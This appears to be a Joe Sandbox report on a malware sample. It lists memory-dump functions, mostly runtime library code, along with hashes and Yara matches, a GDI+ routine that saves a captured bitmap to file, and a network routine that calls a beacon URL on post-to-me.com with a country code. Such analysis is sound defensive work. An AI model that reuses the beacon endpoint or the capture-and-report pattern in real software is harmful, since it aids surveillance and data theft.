Instruction Fuzzy Hash: 43E04F356005169BEF08FB24C8645ACBBA1BFC5358B14424D94A5472A0EF347E8ADB89

Function 0042B126 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7096e54c8b2da2135de54d2c532f2528a1a3733c17ca5e9eea5bc4f64eff24f9
Instruction ID: 7eacffcc392e6897453e427a1bc5d3d4951d53cce7b4b374ddd0667b65be5727
Opcode Fuzzy Hash: 7096e54c8b2da2135de54d2c532f2528a1a3733c17ca5e9eea5bc4f64eff24f9
Instruction Fuzzy Hash: FF718E31B00266DBCB21CF95E884ABFBB75EF45360FA8426BE81057280D7789D41C7E9

Function 0465B38D Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c6193084eda7c089116deee67986cf6f8c182de1deee36b40da2a445f3b6d2
Instruction ID: 6068cc6b265e571bdeaa1d69ec7f2e15854821dc575a86f6be9b252029eab81e
Opcode Fuzzy Hash: c6c6193084eda7c089116deee67986cf6f8c182de1deee36b40da2a445f3b6d2
Instruction Fuzzy Hash: ED719271A002169BDB398FA5C884ABFBB75FF51B50F144229ED11572A0FB70BD41CBA0

Function 00430A64 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004336C7: RtlAllocateHeap.NTDLL(00000000,0040D895,00000000,?,004267BE,00000002,00000000,00000000,00000000,?,0040CD46,0040D895,00000004,00000000,00000000,00000000), ref: 004336F9

_free.LIBCMT ref: 00430B6F
_free.LIBCMT ref: 00430B86
_free.LIBCMT ref: 00430BA5
_free.LIBCMT ref: 00430BC0
_free.LIBCMT ref: 00430BD7

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: c373ba6c443c71e4ab428eca93eb82442dc6f2775a0feb0437eab9ebf47d5f4f
Instruction ID: b3708cb7fd5f7c05c7b70e76ebc142bc523ed94c66de99b1f2255d1376b2cc69
Opcode Fuzzy Hash: c373ba6c443c71e4ab428eca93eb82442dc6f2775a0feb0437eab9ebf47d5f4f
Instruction Fuzzy Hash: BD51DF31A00304ABDB21DF6AC851A6BB7F4EF58724F14566EE809DB250E739A901CB48

Function 04660CCB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0466392E: RtlAllocateHeap.NTDLL(00000000,0463DAFC,00000000), ref: 04663960

_free.LIBCMT ref: 04660DD6
_free.LIBCMT ref: 04660DED
_free.LIBCMT ref: 04660E0C
_free.LIBCMT ref: 04660E27
_free.LIBCMT ref: 04660E3E

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: e6a1cd199720be507b115cfcd6438e99282708a3fba9711a6543aa0e9cd6d86a
Instruction ID: 77ce01caeb2beb4b987887b77a0d972bd541fc7db34b1fde33ade1d26b06cda9
Opcode Fuzzy Hash: e6a1cd199720be507b115cfcd6438e99282708a3fba9711a6543aa0e9cd6d86a
Instruction Fuzzy Hash: E651BF71A00604AFEB21DF29C881A6AB7F5EF59724F14466EE80AD7390F731F901CB84

Function 004314FB Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043156D
_free.LIBCMT ref: 0043158D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 709da5f20d6e6a4df2ef3b0591b918cf649e9a4efbf4d631092fdebfca928cec
Instruction ID: 2269d71fc1307fb615fcd26a16e66de3d258f5a42cea17c2f792775dd2d74ff0
Opcode Fuzzy Hash: 709da5f20d6e6a4df2ef3b0591b918cf649e9a4efbf4d631092fdebfca928cec
Instruction Fuzzy Hash: E541C432E00204AFCB10DF78C981A5AB7B5EF89714F15456EE516EB391DB35ED02CB84

Function 04661762 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 046617D4
_free.LIBCMT ref: 046617F4

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 709da5f20d6e6a4df2ef3b0591b918cf649e9a4efbf4d631092fdebfca928cec
Instruction ID: b7feb50036d7bb00d67839f99a25448d5f8529496057570ddb96515cb7503e9d
Opcode Fuzzy Hash: 709da5f20d6e6a4df2ef3b0591b918cf649e9a4efbf4d631092fdebfca928cec
Instruction Fuzzy Hash: 96419E36A002149FDB24DF78C880A9DB7F5EF86714F1545ADEA16EB391E731B901CB84

Function 004368BD Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,23E85006,0042D11A,00000000,00000000,0042D958,?,0042D958,?,00000001,0042D11A,23E85006,00000001,0042D958,0042D958), ref: 0043690A
__alloca_probe_16.LIBCMT ref: 00436942
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00436993
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 004369A5
__freea.LIBCMT ref: 004369AE

Part of subcall function 004336C7: RtlAllocateHeap.NTDLL(00000000,0040D895,00000000,?,004267BE,00000002,00000000,00000000,00000000,?,0040CD46,0040D895,00000004,00000000,00000000,00000000), ref: 004336F9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 3e8a2e8aab748589cebb1bfb4cc7bc8f0b8dcb51511829ebe5bc338c40e17782
Instruction ID: 564015b8663966f91a736df8c1f199cffa5732d11cc50b43fea489f3b547491b
Opcode Fuzzy Hash: 3e8a2e8aab748589cebb1bfb4cc7bc8f0b8dcb51511829ebe5bc338c40e17782
Instruction Fuzzy Hash: 0A31CE72A0020AAFDF249F65CC41EAF7BA5EF44714F16422AFC04D6290EB39CD54CB98

Function 0041AEE6 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0041AF0B

Part of subcall function 00410F41: _SpinWait.LIBCONCRT ref: 00410F59

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 0041AF1F
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0041AF51
List.LIBCMT ref: 0041AFD4
List.LIBCMT ref: 0041AFE3

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1637b491240e50c5e643825cbab1343b8211ccee4cd56710176c1192e2ab3ef7
Instruction ID: 96d9cd947b213099fbcac924e0358b3b7b3cf073485a4601a3d8c747dc036099
Opcode Fuzzy Hash: 1637b491240e50c5e643825cbab1343b8211ccee4cd56710176c1192e2ab3ef7
Instruction Fuzzy Hash: 8C318971D02656DFCB14EFA5C5816EEBBB1BF04308F04006FE80167292DB786DA5CB9A

Function 00402054 Relevance: 7.6, APIs: 5, Instructions: 80memoryfilewindowCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00402086
GdipAlloc.GDIPLUS(00000010), ref: 0040208E
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 004020A9
GdipSaveImageToFile.GDIPLUS(?,?,?,00000000), ref: 004020D3
GdiplusShutdown.GDIPLUS(?), ref: 004020FF

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Gdip$Gdiplus$AllocBitmapCreateFileFromImageSaveShutdownStartup
String ID:
API String ID: 2357751836-0
Opcode ID: 217f5abb5afa1b455eb2dbd7401cc4696c8519af6d5153b3f711d937d629bad7
Instruction ID: c4f18e326f444715a52338ef43c677910c1406114480214147ef42e81c070973
Opcode Fuzzy Hash: 217f5abb5afa1b455eb2dbd7401cc4696c8519af6d5153b3f711d937d629bad7
Instruction Fuzzy Hash: 4D2151B5A0031AAFDB10DFA5DD499AFFBB9FF48741B104036E906E3290D7759901CBA8

Function 046350EB Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 046350C8
std::_Locinfo::~_Locinfo.LIBCPMT ref: 046350DC

Part of subcall function 0463BDD3: __EH_prolog3_GS.LIBCMT ref: 0463BDDA

std::_Locinfo::_Locinfo.LIBCPMT ref: 04635141
__Getcoll.LIBCPMT ref: 04635150
std::_Locinfo::~_Locinfo.LIBCPMT ref: 04635160

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Locinfostd::_$Locinfo::_Locinfo::~_$GetcollH_prolog3_
String ID:
API String ID: 1844465188-0
Opcode ID: bdce9d8e1be77268be16da58274f9ad6a83026367902608090edaa3f01144fdf
Instruction ID: 7c801ac82685f5946fe2b737f229b369faea3473e0d6713f9b865a1b780c6f58
Opcode Fuzzy Hash: bdce9d8e1be77268be16da58274f9ad6a83026367902608090edaa3f01144fdf
Instruction Fuzzy Hash: 6E218072814354EFEB00EFA0C8447DDB7B0BF4471AF50841EE485AB281EB74BA44CB99

Function 00431F7E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0042EAEE,00434D9C,?,00431F28,00000001,00000364,?,0042E005,00457910,00000010), ref: 00431F83
_free.LIBCMT ref: 00431FB8
_free.LIBCMT ref: 00431FDF
SetLastError.KERNEL32(00000000), ref: 00431FEC
SetLastError.KERNEL32(00000000), ref: 00431FF5

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0d5363e4b9499eccdb5c1a3a84b8776c6d310bab5e63f5db74e86071099be707
Instruction ID: 1e3cd072d0496c43a3242b2b2daca3b64790c0c87830b362050c04c7c8c4abe4
Opcode Fuzzy Hash: 0d5363e4b9499eccdb5c1a3a84b8776c6d310bab5e63f5db74e86071099be707
Instruction Fuzzy Hash: 2101F936149A007BD61227255C45D6B262DABD977AF20212FF815933E2EFAD8906412D

Function 046621E5 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0463DAFC,0463DAFC,00000002,0465ED55,04663971,00000000,?,04656A25,00000002,00000000,00000000,00000000,?,0463CFAD,0463DAFC,00000004), ref: 046621EA
_free.LIBCMT ref: 0466221F
_free.LIBCMT ref: 04662246
SetLastError.KERNEL32(00000000,?,0463DAFC), ref: 04662253
SetLastError.KERNEL32(00000000,?,0463DAFC), ref: 0466225C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 868f3b611709ec7aceee6e1f81eadbb74bd3caefd1ad767be0b3b05927239706
Instruction ID: b1fc833a88af0a1c7da3c605d6f01fba954870a5ef54618734502edc79f55c01
Opcode Fuzzy Hash: 868f3b611709ec7aceee6e1f81eadbb74bd3caefd1ad767be0b3b05927239706
Instruction Fuzzy Hash: 0C01F9762057003793123B246C95D2B275DBFD2A76750097CF917E2398FE71A902412D

Function 00431EFA Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
_free.LIBCMT ref: 00431F31
_free.LIBCMT ref: 00431F59
SetLastError.KERNEL32(00000000), ref: 00431F66
SetLastError.KERNEL32(00000000), ref: 00431F72

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0ea10201b8900650499f2260cce22e5252e42022a6a0cd3438f6e6f2aed072af
Instruction ID: 89f26f5adfa52999dd97e159cd61ed3cb5fd8874f2961931db20f525c950a72a
Opcode Fuzzy Hash: 0ea10201b8900650499f2260cce22e5252e42022a6a0cd3438f6e6f2aed072af
Instruction Fuzzy Hash: 0AF02D3A50CA0037D61637356C06B5F26199FD9B67F30212FF814923F2EF6D8806412D

Function 04662161 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
_free.LIBCMT ref: 04662198
_free.LIBCMT ref: 046621C0
SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621CD
SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2b001732bfb1c4e8fc0cfaf3f440710dee5aae3afad35715c20867ef47a009af
Instruction ID: fc8a45eb7c738dfafaa9666f09f0ce90a78e36a1a4d1ccee7c11df0c2f842ed9
Opcode Fuzzy Hash: 2b001732bfb1c4e8fc0cfaf3f440710dee5aae3afad35715c20867ef47a009af
Instruction Fuzzy Hash: 16F0F43624870037E3113768BC19A5A76699BD2AA6F21016CFB17E23D0FE61A903452D

Function 00417940 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041275D: TlsGetValue.KERNEL32(?,?,00410B7B,00412C88,00000000,?,00410B59,?,?,?,00000000,?,00000000), ref: 00412763

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 0041796A

Part of subcall function 00420FD3: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00420FFA
Part of subcall function 00420FD3: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00421013
Part of subcall function 00420FD3: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00421089
Part of subcall function 00420FD3: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00421091

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00417978
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00417982
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 0041798C
__CxxThrowException@8.LIBVCRUNTIME ref: 004179AA

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 628a427f14d65ae0316e958808638e899d0bf8bb4e808d91dcdcee0cd99b9220
Instruction ID: 8cd570ce40639c9f8c017ae24bf7a6ba5e4898ad5d78eaa9f9672d2de087314b
Opcode Fuzzy Hash: 628a427f14d65ae0316e958808638e899d0bf8bb4e808d91dcdcee0cd99b9220
Instruction Fuzzy Hash: 0BF04671A0422867CE15B7229812AEEB72A9F90718F40012FF41093283DF6C9E9986CD

Function 04647BA7 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046429C4: TlsGetValue.KERNEL32(?,?,04640DE2,04642EEF,00000000,?,04640DC0,?,?,?,00000000,?,00000000), ref: 046429CA

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 04647BD1

Part of subcall function 0465123A: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 04651261
Part of subcall function 0465123A: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0465127A
Part of subcall function 0465123A: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 046512F0
Part of subcall function 0465123A: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 046512F8

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 04647BDF
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 04647BE9
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 04647BF3
__CxxThrowException@8.LIBVCRUNTIME ref: 04647C11

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 628a427f14d65ae0316e958808638e899d0bf8bb4e808d91dcdcee0cd99b9220
Instruction ID: b71a4792cb8a6c4680c43fe55bbf96d83d34791770d115db5c57052df3936123
Opcode Fuzzy Hash: 628a427f14d65ae0316e958808638e899d0bf8bb4e808d91dcdcee0cd99b9220
Instruction Fuzzy Hash: E7F02B35A001186BDF15FB75D82096EF726DFD1A59B04416ED80153350FF25BB4687CD

Function 00439E65 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00439E7D

Part of subcall function 0043348A: HeapFree.KERNEL32(00000000,00000000,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?), ref: 004334A0
Part of subcall function 0043348A: GetLastError.KERNEL32(?,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?,?), ref: 004334B2

_free.LIBCMT ref: 00439E8F
_free.LIBCMT ref: 00439EA1
_free.LIBCMT ref: 00439EB3
_free.LIBCMT ref: 00439EC5

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction ID: 3df159f09b4f07c7f9cd4576f3114e9092ca915295917fe09ca5bd5d66e4921a
Opcode Fuzzy Hash: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction Fuzzy Hash: 61F04F32409200ABC620EB59E483C1773D9BB08712F686A4FF04CDB751CBBAFC808A5D

Function 0466A0CC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0466A0E4

Part of subcall function 046636F1: HeapFree.KERNEL32(00000000,00000000,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?), ref: 04663707
Part of subcall function 046636F1: GetLastError.KERNEL32(?,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?,?), ref: 04663719

_free.LIBCMT ref: 0466A0F6
_free.LIBCMT ref: 0466A108
_free.LIBCMT ref: 0466A11A
_free.LIBCMT ref: 0466A12C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction ID: 2dda38f2e10ce98381c8e734d2925da1d6ef43f419ba62ea78e120be57fe09c6
Opcode Fuzzy Hash: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction Fuzzy Hash: A6F09672505300AB9620EB98F8C3C0AB3DABB51395B64094DF44AE7710EF31FCD08A5D

Function 0043174A Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00431768

Part of subcall function 0043348A: HeapFree.KERNEL32(00000000,00000000,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?), ref: 004334A0
Part of subcall function 0043348A: GetLastError.KERNEL32(?,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?,?), ref: 004334B2

_free.LIBCMT ref: 0043177A
_free.LIBCMT ref: 0043178D
_free.LIBCMT ref: 0043179E
_free.LIBCMT ref: 004317AF

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction ID: 59d86e5f81b59af28f084099f89460b905b5d9e26065712495255f22da63edd4
Opcode Fuzzy Hash: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction Fuzzy Hash: 01F03070C003109B9A226F25AC414553B60AF2D727F04636FF4069B273C77ADA52DF8E

Function 0041CCE5 Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0041CCEF
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 0041CD20
GetCurrentThread.KERNEL32 ref: 0041CD29
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 0041CD3C
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 0041CD45

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction ID: c40835f97e64ecf2e035c3ed6e644cfe8c904edaac08ffe142c14ca74381b7ad
Opcode Fuzzy Hash: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction Fuzzy Hash: 81F0AE762406109B8625FF11FD518F777759FC4715300051FE44B47551CF28A9C1D7A6

Function 0464CF4C Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0464CF56
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 0464CF87
GetCurrentThread.KERNEL32 ref: 0464CF90
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 0464CFA3
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 0464CFAC

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction ID: 2fa32af20da17212022f46c8f7ff834ae9fe96a4caed9453ebb5ce51f6a090d3
Opcode Fuzzy Hash: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction Fuzzy Hash: 6AF0A036301A00ABCF65FF20FA508BB77B6AFC4614301054CE98706751EF25B942EB35

Function 046619B1 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 046619CF

Part of subcall function 046636F1: HeapFree.KERNEL32(00000000,00000000,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?), ref: 04663707
Part of subcall function 046636F1: GetLastError.KERNEL32(?,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?,?), ref: 04663719

_free.LIBCMT ref: 046619E1
_free.LIBCMT ref: 046619F4
_free.LIBCMT ref: 04661A05
_free.LIBCMT ref: 04661A16

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction ID: 134d9fefa1eee7a27af61642e7da3bafb43f8226926af02e92fc1c88119fffca
Opcode Fuzzy Hash: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction Fuzzy Hash: 1CF030B0D007119B9E216F14AC814043B61AF1A662700026EF803D7372DB74E8A2DB8E

Function 04632E8B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00451E78,00000000,00000000,00000000,00000000), ref: 04632EAE

Part of subcall function 04631321: _wcslen.LIBCMT ref: 04631328
Part of subcall function 04631321: _wcslen.LIBCMT ref: 04631344

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 046330C6

Strings

https://post-to-me.com/track_prt.php?sub=, xrefs: 04632EDE, 04633023, 0463307E
&cc=DE, xrefs: 04633040, 04633046, 046330A3

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: InternetOpen_wcslen
